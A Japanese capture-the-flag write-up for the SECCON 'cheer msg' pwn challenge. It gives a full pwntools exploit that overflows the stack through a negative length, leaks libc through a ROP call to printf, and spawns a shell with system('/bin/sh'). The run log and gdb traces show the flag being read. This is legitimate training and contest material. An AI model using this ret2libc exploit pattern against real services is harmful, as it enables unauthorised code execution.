--- lang: ja-jp breaks: true --- cheer msg === ## 問題概要 ### ジャンル Exploit ### 点数 100points ### 問題文 cheer msg Host : cheermsg.pwn.seccon.jp Port : 30527 cheer_msg (SHA1 : a89bdbaf3a918b589e14446f88d51b2c63cb219f) libc-2.19.so (SHA1 : c4dc1270c1449536ab2efbbe7053231f1a776368) ### フラグ SECCON{N40.T_15_ju571c3} ### 挑戦者 K_atc tkmru ## 解法 方針: * 1回目のmainではinformation leak→main再呼び出しして終わり * 2回目のmainでシェル呼び出し ```python= from pwn import * from sys import argv # context.log_level = 'debug' def bp(): raw_input("break point: ") LOCAL = True if len(argv) > 1 and argv[1] == "r": LOCAL = False BIN = "./cheer_msg" """libc % readelf -s /usr/lib32/libc.so.6| grep " setbuf@@" 2266: 00066e20 25 FUNC GLOBAL DEFAULT 13 setbuf@@GLIBC_2.0 % readelf -s /usr/lib32/libc.so.6| grep " system@@" 1460: 0003af40 55 FUNC WEAK DEFAULT 13 system@@GLIBC_2.0 % strings -tx /usr/lib32/libc.so.6| grep "/bin/sh$" 15ef08 /bin/sh [katc@K_atc cheer_msg]$ readelf -s libc-2.19.so-c4dc1270c1449536ab2efbbe7053231f1a776368 | grep " system" 1443: 00040310 56 FUNC WEAK DEFAULT 12 system@@GLIBC_2.0 [katc@K_atc cheer_msg]$ readelf -s libc-2.19.so-c4dc1270c1449536ab2efbbe7053231f1a776368 | grep " setbuf@@" 2246: 00067b20 35 FUNC GLOBAL DEFAULT 12 setbuf@@GLIBC_2.0 [katc@K_atc cheer_msg]$ strings -tx libc-2.19.so-c4dc1270c1449536ab2efbbe7053231f1a776368 | grep "/bin/sh$" 16084c /bin/sh """ e = ELF(BIN) r = None offset = {} if LOCAL: r = process(BIN) offset = {"setbuf": 0x66e20, "system": 0x3af40, "/bin/sh": 0x15ef08} else: r = remote("cheermsg.pwn.seccon.jp", 30527) offset = {"setbuf": 0x67b20, "system": 0x40310, "/bin/sh": 0x16084c} EIP_OFFSET = 32 """stack layout ebp+0: "AAAA" # saved ebp ebp+4: printf # return address ebp+8: 0x804a00c # setbuf@plt.got ebp+c: main """ log.info("==== [information leak] ====") ROP = ''.join([ p32(e.symbols["printf"]), p32(e.symbols["main"]), # return address of printf(*) p32(0x804887d), # "\nThank you %s!\nMessage : %s\n" p32(0x804a00c), p32(0x804a00c), ]) r.recvuntil("Message Length >> ") r.sendline("-114") r.recvuntil("Name >> ") # bp() r.sendline("A" * 32 + ROP) # name r.recvuntil("Message : \n\n") ret = r.recvline()[:-2] # trim '!\n' print "ret = %r" % ret leaked_addr = u32(ret[10:14]) # len("Thank you ") print "setbuf() = %#x" % leaked_addr # bp() libc_base_addr = leaked_addr - offset["setbuf"] system_addr = libc_base_addr + offset["system"] binsh_addr = libc_base_addr + offset["/bin/sh"] print "==== [libc info] ====" print "libc base address = %#x" % libc_base_addr print "system = %#x" % system_addr print "'/bin/sh' = %#x" % binsh_addr print "=====================" log.info('==== [system("/bin/sh")] ====') ROP = ''.join([ p32(system_addr), # "A"*4, # return address of system(*) p32(binsh_addr), p32(binsh_addr), ]) r.recvuntil("Message Length >> ") r.sendline("-114") r.recvuntil("Name >> ") bp() r.sendline("A" * 32 + ROP) # name r.interactive() ``` ``` [katc@K_atc cheer_msg]$ python2 cheer_msg.py r [+] Opening connection to cheermsg.pwn.seccon.jp on port 30527: Done [*] ==== [information leak] ==== ret = 'Thank you \x0bc\xf7\x10da\xf7\xa0\xccb\xf7V\x84\x04\x08f\x84\x04\x08\xc0\xd0e\xf7\xd0\xbfd\xf7' setbuf() = 0xf7630b20 ==== [libc info] ==== libc base address = 0xf75c9000 system = 0xf7609310 '/bin/sh' = 0xf772984c ===================== [*] ==== [system("/bin/sh")] ==== break point: [*] Switching to interactive mode Thank you AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x10\x93`÷Lr÷Lr÷! Message : $ ls cheer_msg flag.txt run.sh $ cat flag.txt SECCON{N40.T_15_ju571c3} ``` ## 議論 - [x] libc base address のリーク - [x] EIPを取る - [x] system("/bin/sh") を呼ぶ ### Help!! #### information leakできないように見える ``` % ./cheer_msg Hello, I'm Nao. Give me your cheering messages :) Message Length >> 114 ←ユーザー入力(atoi) Message >> tomori nao is awesome ←ユーザー入力(readline) Oops! I forgot to ask your name... Can you tell me your name? Name >> tomori nao ←ユーザー入力(readline) Thank you tomori nao! Message : tomori nao is awesome ``` 案: * information leakからのret2vuln(main再呼び出し) * information leakする内容は`__libc_start_main@plt.got` ↓ボツ ``` [ROP] ebp+0: 0x114514 # saved ebp ebp+4: printf # return address ebp+8: 0x804a00c # setbuf@plt.got ebp+c: main ``` printf@pltじゃなくてatoi@pltでもよくね?←いや無理だから ``` gdb-peda$ i func \@plt All functions matching regular expression "\@plt": Non-debugging symbols: 0x08048420 setbuf@plt 0x08048430 printf@plt 0x08048440 fgets@plt 0x08048450 __stack_chk_fail@plt 0x08048460 __gmon_start__@plt 0x08048470 strchr@plt 0x08048480 strlen@plt 0x08048490 __libc_start_main@plt 0x080484a0 atoi@plt ``` ``` gdb-peda$ x/xw 0x804a00c 0x804a00c <setbuf@got.plt>: 0xf7e3de20 ``` ~~上の[ROP]を実行する直前~~ ``` [----------------------------------registers-----------------------------------] EAX: 0x0 EBX: 0x0 ECX: 0xffb3b6c0 ("\nThank you ", 'A' <repeats 32 times>, "0\204\004\b\f\240\004\bʅ\004\b!\nMessage : \n >> ge Length >> ") EDX: 0xf7753850 --> 0x0 ESI: 0x1 EDI: 0xf7752000 --> 0x1b4d90 EBP: 0xffb3dc08 ("AAAA0\204\004\b\f\240\004\bʅ\004\b") ESP: 0xffb3dc3c --> 0x8048632 (<main+104>: leave) EIP: 0x80486bc (<message+128>: ret) EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x80486b4 <message+120>: je 0x80486bb <message+127> 0x80486b6 <message+122>: call 0x8048450 <__stack_chk_fail@plt> 0x80486bb <message+127>: leave => 0x80486bc <message+128>: ret 0x80486bd <getnline>: push ebp 0x80486be <getnline+1>: mov ebp,esp 0x80486c0 <getnline+3>: sub esp,0x28 0x80486c3 <getnline+6>: mov eax,ds:0x804a040 [------------------------------------------------------------------------------] Legend: code, data, rodata, value 0x080486bc in message () gdb-peda$ telescope $ebp 0000| 0xffb3dc08 ("AAAA0\204\004\b\f\240\004\bʅ\004\b") 0004| 0xffb3dc0c --> 0x8048430 (<printf@plt>: jmp DWORD PTR ds:0x804a010) 0008| 0xffb3dc10 --> 0x804a00c --> 0xf7603e20 (<setbuf>: sub esp,0x10) 0012| 0xffb3dc14 --> 0x80485ca (<main>: lea ecx,[esp+0x4]) 0016| 0xffb3dc18 --> 0x0 0020| 0xffb3dc1c --> 0xf75b5196 (<__libc_start_main+246>: add esp,0x10) 0024| 0xffb3dc20 --> 0x1 0028| 0xffb3dc24 --> 0xffb3dcb4 --> 0xffb3f674 ("./cheer_msg") ``` ### 試行s length = -114、name = (pattcの出力文字列) で __EIP取れた__ が、このままでは __information leak不可__ ``` [----------------------------------registers-----------------------------------] EAX: 0x0 EBX: 0x0 ECX: 0xffffaff0 ("\nThank you AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AA!\nMessage : \n") EDX: 0xf7f8d850 --> 0x0 ESI: 0x1 EDI: 0xf7f8c000 --> 0x1b4d90 EBP: 0x413b4141 ('AA;A') ESP: 0xffffd540 ("EAAaAA0AAFAAbAA1AAGAAcAA2AA") EIP: 0x41412941 ('A)AA') EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] Invalid $PC address: 0x41412941 [------------------------------------stack-------------------------------------] 0000| 0xffffd540 ("EAAaAA0AAFAAbAA1AAGAAcAA2AA") 0004| 0xffffd544 ("AA0AAFAAbAA1AAGAAcAA2AA") 0008| 0xffffd548 ("AFAAbAA1AAGAAcAA2AA") 0012| 0xffffd54c ("bAA1AAGAAcAA2AA") 0016| 0xffffd550 ("AAGAAcAA2AA") 0020| 0xffffd554 ("AcAA2AA") 0024| 0xffffd558 --> 0x414132 ('2AA') 0028| 0xffffd55c --> 0x86dce400 [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV 0x41412941 in ?? () gdb-peda$ patto 0x41412941 1094789441 found at offset: 32 ``` length = 1145141919114514 で落ちる(ESP破壊) ``` [----------------------------------registers-----------------------------------] EAX: 0x7fffffff EBX: 0x0 ECX: 0x10 EDX: 0xd ('\r') ESI: 0x1 EDI: 0xf7f8c000 --> 0x1b4d90 EBP: 0xffffd538 --> 0x0 ESP: 0x7fffd500 EIP: 0x8048623 (<main+89>: mov DWORD PTR [esp+0x4],eax) EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x804861a <main+80>: shl eax,0x4 0x804861d <main+83>: mov DWORD PTR [ebp-0xc],eax 0x8048620 <main+86>: mov eax,DWORD PTR [ebp-0x10] => 0x8048623 <main+89>: mov DWORD PTR [esp+0x4],eax 0x8048627 <main+93>: mov eax,DWORD PTR [ebp-0xc] 0x804862a <main+96>: mov DWORD PTR [esp],eax 0x804862d <main+99>: call 0x804863c <message> 0x8048632 <main+104>: leave [------------------------------------stack-------------------------------------] Invalid $SP address: 0x7fffd500 [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV 0x08048623 in main () gdb-peda$ ``` length = -1 ``` [----------------------------------registers-----------------------------------] EAX: 0xffffd510 --> 0x80487e0 ("Hello, I'm Nao.\nGive me your cheering messages :)\n\nMessage Length >> ") EBX: 0x0 ECX: 0x10 EDX: 0xd ('\r') ESI: 0x1 EDI: 0xf7f8c000 --> 0x1b4d90 EBP: 0xffffd538 --> 0x0 ESP: 0xffffd500 --> 0xffffd510 --> 0x80487e0 ("Hello, I'm Nao.\nGive me your cheering messages :)\n\nMessage Length >> ") EIP: 0x804862d (<main+99>: call 0x804863c <message>) EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x8048623 <main+89>: mov DWORD PTR [esp+0x4],eax 0x8048627 <main+93>: mov eax,DWORD PTR [ebp-0xc] 0x804862a <main+96>: mov DWORD PTR [esp],eax => 0x804862d <main+99>: call 0x804863c <message> 0x8048632 <main+104>: leave 0x8048633 <main+105>: ret 0x8048634 <main+106>: nop 0x8048635 <main+107>: nop Guessed arguments: arg[0]: 0xffffd510 --> 0x80487e0 ("Hello, I'm Nao.\nGive me your cheering messages :)\n\nMessage Length >> ") arg[1]: 0xffffffff [------------------------------------------------------------------------------] Legend: code, data, rodata, value Breakpoint 1, 0x0804862d in main () ```